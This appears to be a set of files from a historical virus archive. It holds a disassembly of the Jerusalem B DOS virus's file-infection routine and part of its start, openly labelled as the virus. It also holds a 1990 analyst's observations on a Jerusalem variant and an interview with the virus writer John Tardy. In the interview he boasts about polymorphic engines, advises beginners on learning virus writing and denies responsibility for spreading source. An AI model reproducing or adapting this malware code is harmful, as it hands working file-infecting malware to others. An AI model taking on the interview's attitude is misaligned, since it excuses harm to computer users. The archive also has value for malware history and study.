0000:03BB CD21 INT 021H
0000:03BD 7205 JB X03C4
0000:03BF 2E890E7200 MOV CS:[Y0072H],CX
0000:03C4 7225 X03C4: JB X03EB
0000:03C6 32C0 XOR AL,AL
0000:03C8 2EA24E00 MOV CS:Y004EH,AL
0000:03CC 1E PUSH DS
0000:03CD 07 POP ES
0000:03CE 8BFA MOV DI,DX
0000:03D0 B94100 MOV CX,0041H
0000:03D3 F2AE REPNE SCASB
0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH
0000:03D9 740B JZ X03E6
0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH
0000:03DF 7405 JZ X03E6
0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH]
0000:03E6 B8003D X03E6: MOV AX,03D00H
0000:03E9 CD21 INT 021H
0000:03EB 725A X03EB: JB X0447
0000:03ED 2EA37000 MOV CS:Y0070H,AX
0000:03F1 8BD8 MOV BX,AX
0000:03F3 B80242 MOV AX,04202H
0000:03F6 B9FFFF MOV CX,0FFFFH
0000:03F9 BAFBFF MOV DX,0FFFBH
0000:03FC CD21 X03FC: INT 021H
0000:03FE 72EB JB X03EB
0000:0400 050500 ADD AX,0005H
0000:0403 2EA31100 MOV CS:Y0011H,AX
0000:0407 B90500 MOV CX,0005H
0000:040A BA6B00 MOV DX,006BH
0000:040D 8CC8 MOV AX,CS
0000:040F 8ED8 MOV DS,AX
0000:0411 8EC0 MOV ES,AX
0000:0413 B43F MOV AH,03FH
0000:0415 CD21 INT 021H
0000:0417 8BFA MOV DI,DX
0000:0419 BE0500 MOV SI,0005H
0000:041C F3A6 REPE CMPSB
0000:041E 7507 JNZ X0427
0000:0420 B43E MOV AH,03EH
0000:0422 CD21 INT 021H
0000:0424 E9C001 JMP X05E7
0000:0427 B82435 X0427: MOV AX,03524H
0000:042A CD21 INT 021H
0000:042C 891E1B00 MOV [Y001BH],BX
0000:0430 8C061D00 MOV [Y001DH],ES
0000:0434 BA1B02 MOV DX,021BH
0000:0437 B82425 MOV AX,02524H
0000:043A CD21 INT 021H
0000:043C C5168000 LDS DX,[Y0080H]
"JV.MOC" PAGE 0009
0000:0440 33C9 XOR CX,CX
0000:0442 B80143 MOV AX,04301H
0000:0445 CD21 INT 021H
0000:0447 723B X0447: JB X0484
0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:044E B43E MOV AH,03EH
0000:0450 CD21 INT 021H
0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:0459 B8023D MOV AX,03D02H
0000:045C CD21 INT 021H
0000:045E 7224 JB X0484
0000:0460 2EA37000 MOV CS:Y0070H,AX
0000:0464 8CC8 MOV AX,CS
0000:0466 8ED8 MOV DS,AX
0000:0468 8EC0 MOV ES,AX
0000:046A 8B1E7000 MOV BX,[Y0070H]
0000:046E B80057 MOV AX,05700H
0000:0471 CD21 INT 021H
0000:0473 89167400 MOV [Y0074H],DX
0000:0477 890E7600 MOV [Y0076H],CX
0000:047B B80042 MOV AX,04200H
0000:047E 33C9 XOR CX,CX
0000:0480 8BD1 MOV DX,CX
0000:0482 CD21 INT 021H
0000:0484 723D X0484: JB X04C3
0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H
0000:048B 7403 JZ X0490
0000:048D EB57 JMP X04E6
0000:048F 90 NOP
0000:0490 BB0010 X0490: MOV BX,01000H
0000:0493 B448 MOV AH,048H
0000:0495 CD21 INT 021H
0000:0497 730B JAE X04A4
0000:0499 B43E MOV AH,03EH
0000:049B 8B1E7000 MOV BX,[Y0070H]
0000:049F CD21 INT 021H
0000:04A1 E94301 JMP X05E7
0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH]
0000:04A8 8EC0 MOV ES,AX
0000:04AA 33F6 XOR SI,SI
0000:04AC 8BFE MOV DI,SI
0000:04AE B91007 MOV CX,0710H
0000:04B1 F3A4 REPE MOVSB
0000:04B3 8BD7 MOV DX,DI
0000:04B5 8B0E1100 MOV CX,[Y0011H]
0000:04B9 8B1E7000 MOV BX,[Y0070H]
0000:04BD 06 PUSH ES
0000:04BE 1F POP DS
0000:04BF B43F MOV AH,03FH
0000:04C1 CD21 INT 021H
0000:04C3 721C X04C3: JB X04E1
0000:04C5 03F9 ADD DI,CX
0000:04C7 33C9 XOR CX,CX
0000:04C9 8BD1 MOV DX,CX
0000:04CB B80042 MOV AX,04200H
0000:04CE CD21 INT 021H
"JV.MOC" PAGE 0010
0000:04D0 BE0500 MOV SI,0005H
0000:04D3 B90500 MOV CX,0005H
0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT
R (SI)
0000:04D9 8BCF MOV CX,DI
0000:04DB 33D2 XOR DX,DX
0000:04DD B440 MOV AH,040H
0000:04DF CD21 INT 021H
0000:04E1 720D X04E1: JB X04F0
0000:04E3 E9BC00 JMP X05A2
0000:04E6 B91C00 X04E6: MOV CX,001CH
0000:04E9 BA4F00 MOV DX,004FH
0000:04EC B43F MOV AH,03FH
0000:04EE CD21 INT 021H
0000:04F0 724A X04F0: JB X053C
0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H
0000:04F8 A15D00 MOV AX,Y005DH
0000:04FB A34500 MOV Y0045H,AX
0000:04FE A15F00 MOV AX,Y005FH
0000:0501 A34300 MOV Y0043H,AX
0000:0504 A16300 MOV AX,Y0063H
0000:0507 A34700 MOV Y0047H,AX
0000:050A A16500 MOV AX,Y0065H
0000:050D A34900 MOV Y0049H,AX
0000:0510 A15300 MOV AX,Y0053H
0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H
0000:0518 7401 JZ X051B
0000:051A 48 DEC AX
0000:051B F7267800 X051B: MUL WORD PTR [Y0078H]
0000:051F 03065100 ADD AX,[Y0051H]
0000:0523 83D200 ADC DX,0000H
0000:0526 050F00 ADD AX,000FH
0000:0529 83D200 ADC DX,0000H
0000:052C 25F0FF AND AX,0FFF0H
0000:052F A37C00 MOV Y007CH,AX
0000:0532 89167E00 MOV [Y007EH],DX
0000:0536 051007 ADD AX,0710H
0000:0539 83D200 ADC DX,0000H
0000:053C 723A X053C: JB X0578
0000:053E F7367800 DIV WORD PTR [Y0078H]
0000:0542 0BD2 OR DX,DX
0000:0544 7401 JZ X0547
0000:0546 40 INC AX
0000:0547 A35300 X0547: MOV Y0053H,AX
0000:054A 89165100 MOV [Y0051H],DX
0000:054E A17C00 MOV AX,Y007CH
0000:0551 8B167E00 MOV DX,[Y007EH]
0000:0555 F7367A00 DIV WORD PTR [Y007AH]
0000:0559 2B065700 SUB AX,[Y0057H]
0000:055D A36500 MOV Y0065H,AX
0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H
0000:0566 A35D00 MOV Y005DH,AX
0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H
0000:056F 33C9 XOR CX,CX
0000:0571 8BD1 MOV DX,CX
0000:0573 B80042 MOV AX,04200H
0000:0576 CD21 INT 021H
"JV.MOC" PAGE 0011
0000:0578 720A X0578: JB X0584
0000:057A B91C00 MOV CX,001CH
0000:057D BA4F00 MOV DX,004FH
0000:0580 B440 MOV AH,040H
0000:0582 CD21 INT 021H
0000:0584 7211 X0584: JB X0597
0000:0586 3BC1 CMP AX,CX
0000:0588 7518 JNZ X05A2
0000:058A 8B167C00 MOV DX,[Y007CH]
0000:058E 8B0E7E00 MOV CX,[Y007EH]
0000:0592 B80042 MOV AX,04200H
0000:0595 CD21 INT 021H
0000:0597 7209 X0597: JB X05A2
0000:0599 33D2 XOR DX,DX
0000:059B B91007 MOV CX,0710H
0000:059E B440 MOV AH,040H
0000:05A0 CD21 INT 021H
0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H
0000:05A8 7404 JZ X05AE
0000:05AA B449 MOV AH,049H
0000:05AC CD21 INT 021H
0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH
0000:05B4 7431 JZ X05E7
0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:05BB 2E8B167400 MOV DX,CS:[Y0074H]
0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H]
0000:05C5 B80157 MOV AX,05701H
0000:05C8 CD21 INT 021H
0000:05CA B43E MOV AH,03EH
0000:05CC CD21 INT 021H
0000:05CE 2EC5168000 LDS DX,CS:[Y0080H]
0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H]
0000:05D8 B80143 MOV AX,04301H
0000:05DB CD21 INT 021H
0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH]
0000:05E2 B82425 MOV AX,02524H
0000:05E5 CD21 INT 021H
0000:05E7 07 X05E7: POP ES
0000:05E8 1F POP DS
0000:05E9 5F POP DI
0000:05EA 5E POP SI
0000:05EB 5A POP DX
0000:05EC 59 POP CX
0000:05ED 5B POP BX
0000:05EE 58 POP AX
0000:05EF 9D POPF
0000:05F0 2EFF2E1700 JMP CS:[Y0017H]
0000:05F5 0000 X05F5: ADD [BX+SI],AL
0000:05F7 0000 ADD [BX+SI],AL
0000:05F9 0000 ADD [BX+SI],AL
0000:05FB 0000 ADD [BX+SI],AL
0000:05FD 0000 ADD [BX+SI],AL
0000:05FF 004D00 ADD [DI+00H],CL
0000:0602 000F ADD [BX],CL
0000:0604 0000 ADD [BX+SI],AL
0000:0606 0000 ADD [BX+SI],AL
"JV.MOC" PAGE 0012
0000:0608 0000 ADD [BX+SI],AL
0000:060A 0000 ADD [BX+SI],AL
0000:060C 0000 ADD [BX+SI],AL
0000:060E 0000 ADD [BX+SI],AL
0000:0610 CD20 INT 020H
0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH
0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID
0000:0619 F02F LOCK DAS
0000:061B 018E1E3C ADD [BP+Y03C1EH],CX
0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX
0000:0623 048E ADD AL,08EH
0000:0625 1E PUSH DS
0000:0626 8E1EFFFF MOV DS,[Y0FFFFH]
0000:062A FFFF ??? DI
0000:062C FFFF ??? DI
0000:062E FFFF ??? DI
0000:0630 FFFF ??? DI
0000:0632 FFFF ??? DI
0000:0634 FFFF ??? DI
0000:0636 FFFF ??? DI
0000:0638 FFFF ??? DI
0000:063A FFFF ??? DI
0000:063C 7C1F JL X065D
0000:063E DE3E8D29 ESC 037H,[Y0298DH]
0000:0642 1400 ADC AL,00H
0000:0644 1800 SBB [BX+SI],AL
0000:0646 F1 DB 0F1H
0000:0647 1F POP DS
0000:0648 FFFF ??? DI
0000:064A FFFF ??? DI
0000:064C 0000 ADD [BX+SI],AL
0000:064E 0000 ADD [BX+SI],AL
0000:0650 0000 ADD [BX+SI],AL
0000:0652 0000 ADD [BX+SI],AL
0000:0654 0000 ADD [BX+SI],AL
0000:0656 0000 ADD [BX+SI],AL
0000:0658 0000 ADD [BX+SI],AL
0000:065A 0000 ADD [BX+SI],AL
0000:065C 0000 ADD [BX+SI],AL
0000:065E 0000 ADD [BX+SI],AL
0000:0660 CD21 INT 021H
0000:0662 CB RET ; INTERSEGMENT
0000:0663 0000 X0663: ADD [BX+SI],AL
0000:0665 0000 ADD [BX+SI],AL
0000:0667 0000 ADD [BX+SI],AL
0000:0669 0000 ADD [BX+SI],AL
0000:066B 0000 ADD [BX+SI],AL
0000:066D 2020 AND [BX+SI],AH
0000:066F 2020 AND [BX+SI],AH
0000:0671 2020 AND [BX+SI],AH
0000:0673 2020 AND [BX+SI],AH
0000:0675 2020 AND [BX+SI],AH
0000:0677 2000 AND [BX+SI],AL
0000:0679 0000 ADD [BX+SI],AL
0000:067B 0000 ADD [BX+SI],AL
0000:067D 2020 AND [BX+SI],AH
"JV.MOC" PAGE 0013
0000:067F 2020 AND [BX+SI],AH
0000:0681 2020 AND [BX+SI],AH
0000:0683 2020 AND [BX+SI],AH
0000:0685 2020 AND [BX+SI],AH
0000:0687 2000 AND [BX+SI],AL
0000:0689 0000 ADD [BX+SI],AL
0000:068B 0000 ADD [BX+SI],AL
0000:068D 0000 ADD [BX+SI],AL
0000:068F 0000 ADD [BX+SI],AL
0000:0691 0D6B6F OR AX,06F6BH
0000:0694 6465 JZ X06FB
0000:0696 6572 JNZ X070A
0000:0698 7A2E JPE X06C8
0000:069A 6578 JNZ X0714
0000:069C 6520 JNZ X06BE
0000:069E 613A JNO X06DA
0000:06A0 6B6F JPO X0711
0000:06A2 6465 JZ X0709
0000:06A4 6572 JNZ X0718
0000:06A6 2E6578 JNZ X0721
0000:06A9 650D JNZ X06B8
0000:06AB 0000 ADD [BX+SI],AL
0000:06AD 0000 ADD [BX+SI],AL
0000:06AF 0000 ADD [BX+SI],AL
0000:06B1 0000 ADD [BX+SI],AL
0000:06B3 0000 ADD [BX+SI],AL
0000:06B5 0000 ADD [BX+SI],AL
0000:06B7 0000 ADD [BX+SI],AL
0000:06B9 0000 ADD [BX+SI],AL
0000:06BB 0000 ADD [BX+SI],AL
0000:06BD 0000 ADD [BX+SI],AL
0000:06BF 0000 ADD [BX+SI],AL
0000:06C1 0000 ADD [BX+SI],AL
0000:06C3 0000 ADD [BX+SI],AL
0000:06C5 0000 ADD [BX+SI],AL
0000:06C7 0000 ADD [BX+SI],AL
0000:06C9 0000 ADD [BX+SI],AL
0000:06CB 0000 ADD [BX+SI],AL
0000:06CD 0000 ADD [BX+SI],AL
0000:06CF 0000 ADD [BX+SI],AL
0000:06D1 0000 ADD [BX+SI],AL
0000:06D3 0000 ADD [BX+SI],AL
0000:06D5 0000 ADD [BX+SI],AL
0000:06D7 0000 ADD [BX+SI],AL
0000:06D9 005718 ADD [BX+018H],DL
0000:06DC 0825 OR [DI],AH
0000:06DE A5 MOVSW
0000:06DF FEC5 INC CH
0000:06E1 07 POP ES
0000:06E2 1E PUSH DS
0000:06E3 0210 ADD DL,[BX+SI]
0000:06E5 07 POP ES
0000:06E6 57 PUSH DI
0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH
0000:06EB 0104 ADD [SI],AX
0000:06ED 7F70 JG X075F
"JV.MOC" PAGE 0014
0000:06EF 0010 ADD [BX+SI],DL
0000:06F1 07 POP ES
0000:06F2 1D001C SBB AX,01C00H
0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP
0000:06F9 0C1B OR AL,01BH
0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH]
0000:06FF F24D REPNE DEC BP
0000:0701 360E PUSH CS
0000:0703 0300 ADD AX,[BX+SI]
0000:0705 0000 ADD [BX+SI],AL
0000:0707 00EE ADD DH,CH
0000:0709 002A X0709: ADD [BP+SI],CH
0000:070B 0F POP CS
0000:070C 42 INC DX
0000:070D 01C1 ADD CX,AX
0000:070F 0DB44C OR AX,04CB4H
0000:0712 B000 MOV AL,00H
0000:0714 CD21 X0714: INT 021H
0000:0716 4D DEC BP
0000:0717 7344 JAE X075D
0000:0719 6F73 JG X078E


83
textfiles.com/virus/jeru-dc.vir Normal file
View File

@@ -0,0 +1,83 @@
5 September 1990
David,
I thought that you may want to see this....Please read it carefully
and compare notes on what you have and what you have documentation
for. Please get back to me as soon as possible to discuss the
situation. This is an analysis that I did today on the strain that I
D/L'ed from the NCSA Board....Go figure. ,-)
-Paul
===============================================================================
This analysis was preformed under the following circumstances:
Test machine: AT 80286 Turbo Clone, Phoenix ROM-BIOS version 3.30, 1Mb RAM
(640 base, 384 extended), Seagate ST-225 21Mb Hard Dirve and
High Density (1.2 Mb) 5.25", 360 Kb Floppy Drive.
Operating Sytem: Ms-DOS version 4.01
Memory Mapping Utility: Central Point Software, Inc.,
"Memory Info", version 5.24
Notes: Clean, uninfected "goat" files (ie. .COM and .EXE) were
introduced into the viral environment for testing purposes.
The entire testing process is documented, in case you have
any particular questions.
McAfee Associates ViruScan version 66b identifies this virus
as Jerusalem B, but the differences in replication are
substantial enough to warrant a separate strain
classification. Comments, etc. are most certainly welcome.
===============================================================================
Virus: Jerusalem-DC
----- ------------
(Note - Yep, I stuck the DC strain-tag on this one..it does not possess
the same characteristics of any other of the documented strains,
although McAfee's ViruScan ID's it as J-B... -Paul)
Observations:
-------------
When an infected file is initially executed, the virus loads TSR. This can be
observed with a memory mapping utility (see above). This also reveals that
the infected file <name> has been loaded next TSR. It should also be
annotated at this point that the program that was used to view memory at
this point has, too, become infected. File size increases are as follows:
.COM files - 1813 bytes and will only be infected once. COMMAND.COM will
not become infected.
.EXE files - 1820 bytes initially; 1808 bytes upon each subsequent
infetion. (This seems almost inversely proportional to the
description of Spanish JB, or Jerusalem E2.)
The "Black Box" effect is still apparent approx. 1/2 hour after the virus
is loaded TSR, as it is in the original J-B virus. The usual text string
"uSMsDOS" is not present in this strain.
Please direct any (more detailed) questions via message to:
The National Computer Security Association
NCSA BBS,
Washington, DC.
(202) 364-1304
300/1200/2400 at 8,N,1
(Preferrably within the VIRUS Conference.)


420
textfiles.com/virus/jtinterv.iew Normal file
View File

@@ -0,0 +1,420 @@
--------------------------------------------------------------------------------
INTERVIEW WITH JOHN TARDY / TRIDENT / THE NETHERLANDS
--------------------------------------------------------------------------------
Give me a short description of who you are?
- I am called John Tardy, born somewhere in the beginning of the 70ties.
From where did you get you handle, John Tardy?
- In the beginning of time, I was fascinated by certain death metal
groups like Deicide and Obituary. The lead singer of the band is
John Tardy and has a hell of a voice. I wanted to adapt his name to
the underground also. If you know the first group, you know my handle
when I was young (and more childish than you can imagine. That Nazi-
virus was just nice compared to my first ones. They were insane).
When did you discovered the world of computers?
- I think I was almost 10 years old, but I heard of PC's when in 1990 I
had my first PC...
How long have you been active in the scene?
- At the end of 1991, I wrote my first virus, but using another handle...
How did you came into the virus business?
- That's a nice confusing question. When I first got struck by a virus
myself, I was convinced of the menace of it. I wanted to kill these
things that ruined my PC. So I wanted to write a scanner or another
antivirus toolkit. I contacted several persons in The Netherlands,
including the author of TbScan, but they pulled me off. I wasn't
thrustworthy and so on... Then I read a document from Vesselin
Bonthev, about the Virus Exchange BBS's. You could only get a virus
from them if you wrote one yourself, he said. So I did....
What part(s) of the underground do you think needs improvements?
- Hmm, I don't know... I like it how it is now...
Positive/negative aspects of the scene?
- People promising they will release a super virus (targetting all kinds
of files), or a superb virus creation toolkit, but you won't see it
in years. Better bring it out first and then boast about it... You saw
and heard of TPE only when it was out...
Have you been involved in any other group that TridenT?
Yes, before I went to PC I was a demo coder and musician, but as it is
extremely difficult to get good information on PC about these things,
it's easier to write a virus.
Who started/created TridenT?
I did, together with Bit Addict. We thought it would bring more fame
if we worked together. Later we contacted the other people now in
TridenT.
What's the groups goal?
- Hmmm, that's not really an easy one... We want to be known (which now
is the case), but we all have our personal goals also. I want to have
the fuzz cleared around the antivirus writers. If they were more open
to me, I didn't make a virus or even founded TridenT... I would be a
researcher then... I can't do that now, because of my history as a
virus writer, so I'll have to go on and on and on (blame them! Cartel
isn't good!)
How many people are you?
- About 7 or so... It can vary...
What's their handles?
- In alphabetical :
Bit Addict
Dark Helmet
DarkRay
John Tardy
Masud Khafir
Some are missing, but that's better for them, I think...
Do all of them program, if not, what's the others job?
We _only_ have coders, or should be... We don't have any hackers,
phreakers or that type of guys in our group, because of the lack of
interest in that.
Who are the "leading/head-persons" in the group?
- Hmmm, let them speak for themselves, but I am only the founder, but
not the best programmer of the bunch. Bit Addict is surely the best
and Masud Khafir is on a second place, but we are not used to things
as "ratings", because we share the same interest.
What's your position in it?
- I founded it (as said before (a few times)) and I code some things.
That's all. Nothing special... Well, sometimes I searched a new member
and pulled him into this (like Masud, Dark Helmet, etc.)
How is TridenT (currently) organized?
- It was very well organized (own mailing system, etc.), but now we are
in a total void and it will take some time to recover, but I think
in a few months it will be better, or TridenT will not be here
anymore, as we all don't have very much time to write viruses
anymore, so... Wait and see...
Have you got any contacts with other virus-groups/programmers?
- No, I do not... I have to call much more then and I have a slight
problem regarding phone-bills ;-) And I don't want to phreak...
Can anyone ask for membership, or are you a "private" group?
- Well, we never had anyone asking to come in... If we saw a very good
virus, I tried to trace the person who wrote it down and contacted him
and asked him if he wanted to join... If you see it that way, I think
it's a little bit private...
What does it take to join up?
- I honestly don't know. If we saw a good virus (like coffeeshop or
gotcha!), we contacted the person. If people are far too willing to
join, I have to think twice...
You've programmed a lot of polymorphic things, and one of them is the
TPE, what comments have you received about it?
- Well, you can better ask if we don't get any comments... Ask
Frans Veldman how he is doing detecting TPE 1.4... Silence... Ask any
other AV-writer. Only a very few can detect it reliably and even more
engines are popping up...
Will you continue to "upgrade" it or is it a finished project?
- Ask Masud, he wrote it, but I think he is bored yet with it. He now
knows how to write such an engine and the challenge is taken, so he
goes on to the next challenge (Virus_For_Windows_1.4 or an OS/2
virus).
How many strains/mutations can it produce?
- Euh.... I never counted it... It was sufficient to see the routines,
and I couldn't find many similarities.
Eventhough polymorphic engine's are a great thing, not many people
seems to use them? You have any theorie why then don't?
- Yes, find one cloaked with the engine, find 'em all... If they broke
the polymorphic code, all viruses using it are known...
Which is the best polymorphic engine around today?
- I like TPE 1.4 a lot... DMU (included with the Mirror virus) is also
nice. It's not very complicated, but it's very small (under 1K). The
Multiple Encryptor of Dark Angel (DAME) is very nice, escpecially the
double word encryption... Comment : Make them overlapping...
Have you aver thought of/are currently releasing some sort of
electronic magazine (text/executable/hardcopy)
- We thought of it, but after a long(!) discussion in our net, we
decided not to do it. There are so many mags now, why writing one more
with debug scripts and sources of viruses. There's enough study
material. We planned to make a hypertext engine for writing viruses,
but that will take a while, as the programmer of it is lazy (he said
it himself!).
Are you into other things such as hacking and phreaking aswell, or just
viruses?
- Now only viruses...
Do you have some network connection (some sort of e-mail or something)?
- Well, we have our private TridenT network, but I had a connection
on email, but I think I am sorta locked out...
Can you name a few viruses/engines that members of TridenT have
written?
- Yes, for example : Pogue, PlayGame, TPE, Mirror, Circus Clusters,
Cybertech, Servant, Thunderdome, Civil War, Weirdo, Horns of Jericho,
Flue, April30, Bit Addict (the non-destructive ones), OW 0-10,
New Creeping Death, Smile, Yeah and many, many others.
Which of them have you written yourself?
There are many... I guess around 60 or so... But the most known are
Circus Clusters, Servant and OW 0-10. Some other viruses like deicide
are the be known as myne, but it's not with this name and I don't
want to be assosiated with the old name anymore.
Which one was the hardest to write?
- Circus Clusters was an interesting experiment, and I had a little
trouble making the virus stable enough (which you could see in an
old crypt newsletter, I made it up for you in a newer one).
Do you have any sort of company or law-enforcement who are trying
bust TridenT?
- I guess so, we have released an awful lot of viruses in a relatively
short time, so I wouldn't be suprised if CRI or so are watching us
carefully, but I think we aren't illegal in any way. I never released
my viruses in the wild, only as source or in an archive accompanied by
a message and/or source code.
If so, are they a real threat or just "childish"?
I think they could be a real threat, not only for us, but for
censoring the whole scene. That would be very bad. I am not so
worried for myself, but more about the fact that the antivirus
business has become a very awful thing with CARO which wanted to
set up a murky database and hunt people down.
Have you ever had any trouble in the group with the result of kicked
member(s)?
- No... Sometimes we have a discussion getting around, but it's only a
matter of time before it dissolves. No one ever has been kicked out
and only will be if he can be really dangerous to other members.
Do you call a lot, and if so how (phone/internet etc.)
- I used to call a lot, but when momma saw the phone-bill, I have to
stay put.. I didn't call any board since a month and it will take
some time before I can begin again... (Gotta pay first).
Do you have any couriers that spread your products around?
- Well, if you mean uploading viruses to unsuspecting users, I must say
"NO". Only interested people can get it from us. We used to drop it
on "Arrested Development" on that time, but are now using another
base that will be much more informative (no hard feelings, AD!).
What do you think about the laws against h/p/v that has arrived lately?
It's a very sad business. What I want to do on _my_ computers is no
ones business. If I want to release a virus on my system, who's to say
I may not? And giving source code to someone to see how a virus works,
is _that_ illegal? They're just plain textfiles! Other people compile
and release them, it's not my responsibility. They can also watch and
say "This is nice" and then throw it away. The laws in The Netherlands
are vague and not very specific. These laws would also make virus
researchers illegal if they send samples to eachother.
What do you think about various news-papers thinking us as nerds?
Have a good laugh at them. I just wear hair curlers in my beard and
a condom on my nose in order to ward off radiation (hello Dr. J.
Popp! (Aids Trojan)). No let them think their way, I think my way.
Has the scene in any way influented on your real life?
No. I'm absolutely schizo! In real life I am ...#^#%$#@ and then it's
like a switch is pulled over and I am John Tardy of TridenT. Sometimes
it's like there are two persons in me, and can't even remember what
virus I actually wrote... Luckily enough it's for me to switch over,
so I don't need any doctor or something like that. I think everyone
has two persons in him, but they opress the other side. Quite
interesting, but not in this issue.
Whould you feel guilty if one of your viruses made damage to a
hospital?
- Yes. For me it's only to get other viruses to research or for learning
the inner tricks of DOS. If by some programming fault of mine a person
in a hospital gets a lethal injection, I would be terribly sorry
indeed, because that's never what I wanted.
Do you see any differences between the scene now and a couple of years
ago (concerning the underground part of course)?
- No, but I do hear a lot more of more people. The first groups that
were then very young (and childish) are now grown up (Phalcon/Skism)
and have become very talented programmers. Now the new groups are
popping up (Immortal Riot) and are just behaving like Nuke in the
beginning. But that's a stage we all have to pass.
Which virus-magazine do you think is the best available nowadays?
I read 40Hex with pleasure and reading score is high. The Nuke
Infojournal contains a lot of rubbish for me (I am not interested in
phreaking) and it's a pain for me to download it.
Which virus-group/programmer do you admire/like?
- The best programmer I've ever seen is Bit Addict. He doesn't make a
virus very often, but when he finally makes one, it's a very nice one.
In the beginning I admired Dark Avenger, but I didn't like his INT13
or INT26 routines at all. I must say, he started with the nice ideas
and the (even) more talented programmers progress on his work
(mutation engines).
Which country is the best virus-writing today?
- Well, I don't think it depends on country anymore, because of the
international virus groups, but I think it's TridenT together with
Phalcon/Skism that produces the best viruses. Don't understand me
wrong, but Nuke has a stealth routine which they must alter, because
it doesn't work if you wanna stealth a virus on a write protected
disk. Look at "Mirror" of Bit Addict and I think you have a nice
playground!
Which virus-group(s) do you think is the best?
- TridenT and Phalcon/Skism, as they solely produce nice viruses and
don't do any side activities like hacking/phreaking...
What do you think about these virus generators, such as VCL and PS-MPC?
- Nice, but real virus writers create their own code, but it's nice to
see it working and you can sometimes learn from the generated source
code.
What do you think about such individues as board-crashers?
- ~~~+++~~~ ATH0 or simply : hangup!
Describe the perfect virus :
- A fully stealth virus using polymorphic techniques and various
ways of infecting strange types of file to escape total annihilation.
(infecting OBJ or NLM's). Read for a perfect description the text
Vesselin Bontchev wrote (Possible attacks of a computer virus).
Describe the perfect viruscoder :
A person that is totally unaware of his other side and can live two
lives apart, his dark side and his normal side.
Describe the AV-community with a few lines :
- I don't like all commercial products, but encourage shareware, as it
is also for the normal computer user important to protect their
computer.
Which AV-program do you think is the best, and why?
- I like Thunderbyte, but it has some flaws. I like DEBUG a lot ;-)
What do you think about the underground's future?
- I don't know how long it will last, but I think the next generations
of virus groups will only write Windows NT or OS/2 viruses.
Do you know/heard of any new technics coming in the near future?
- Yes. I think the new breed of viruses will analyse any type of code
run and tries to insert it somewhere in there. With protected mode
programming it's possible to stay away from any scanner and control
everything. As a result, such virus could infect a .MOD file somewhere
halfway if it's contains executable code which is run. Also own
compression mechanisms are nice (take Cruncher for an example, but it
utilized the Diet algorithm).
Any advice to people who want's to learn the basic of virus-writing?
- Buy a good book of P. Norton and read some virus mags. It's all you
will need nowadays. For excellent ideas read the mail of Vesselin
Bontchev. Sometimes without realizing it he gives good ideas...
Can you be reached somewhere (on a board/e-mail address/internet)?
- No, only a few people can contact me, because my shortage of time...
I was on echomail, but I think my account is gone.
Something else you wish to say?
Well, I'll send you the letter The Unforgiven never seemed to receive
and a message to the antivirus community :
"If you had helped me in the first place, there wouldn't be a
John Tardy or a TridenT. Think that over again and help people
who want to support the antivirus community. For me it's too
late to return, but other interested users can be helped. Only
of this commercial behaviour some people start writing them.
Think twice. Big mouths but even bigger fools sometimes."
Do you wish to send any greets?
- Yes, but the list is very long, so I greet here : Phalcon/Skism, Nuke,
ofcourse the rest of Immortal Riot, The Crypt Newsletter staff and
Arrested Development. Further greets to all other virus writers who
doesn't make destructive viruses.
John Tardy / TridenT
My last words for now :
INCENDERE SUUS
DAMNARE SUUS VITA
DARE SUUS AD ART VENTUS
CAPARE SUUS
ET FACERE SUUS
FERIRE SUUS PERSICUM CUTIS
NUDUS, TURPIS
PUTRIDUS, FINDERE.
ACERBUS, CRUDUS,
RAPTUS, CONTEMPTIO.
MORDAX, ATTERERE
INFICERE, BILIS.
NAM TUUS SCELUS
AMABILIS
TU LICET PERIRE
AD ANTE TU
HABERE AEQUUS SIC
DOLOR NIL FINIS
EGO LIBERARE ART ULTIMUS INIURIA.
Ps. The last thing is to read over for the smart ones. Read it and think.
Intelligence is our most dangerous weapon.

814
textfiles.com/virus/jvvirus.txt Normal file
View File

@@ -0,0 +1,814 @@
This is the Jerusalem B Virus.
"JV.MOC" PAGE 0001
0000:0000 E99200 JMP X0095
0000:0003 7355 JAE X005A
0000:0005 4D DEC BP
0000:0006 7344 JAE X004C
0000:0008 6F73 JG X007D
0000:000A 0001 ADD [BX+DI],AL
0000:000C BD1700 MOV BP,0017H
0000:000F 0000 ADD [BX+SI],AL
0000:0011 06 PUSH ES
0000:0012 00A5FE00 ADD [DI+Y00FEH],AH
0000:0016 F016 LOCK PUSH SS
0000:0018 17 POP SS
0000:0019 7702 JA X001D
0000:001B BF053D MOV DI,03D05H
0000:001E 0CFB OR AL,0FBH
0000:0020 7D00 JGE X0022
0000:0022 0000 X0022: ADD [BX+SI],AL
0000:0024 0000 ADD [BX+SI],AL
0000:0026 0000 ADD [BX+SI],AL
0000:0028 0000 ADD [BX+SI],AL
0000:002A 0000 ADD [BX+SI],AL
0000:002C 0000 ADD [BX+SI],AL
0000:002E E8062A CALL X2A37
0000:0031 B10D MOV CL,0DH
0000:0033 800000 ADD BYTE PTR [BX+SI],00H
0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL
0000:003A 0D5C00 OR AX,005CH
0000:003D B10D MOV CL,0DH
0000:003F 6C00 JL X0041
0000:0041 B10D X0041: MOV CL,0DH
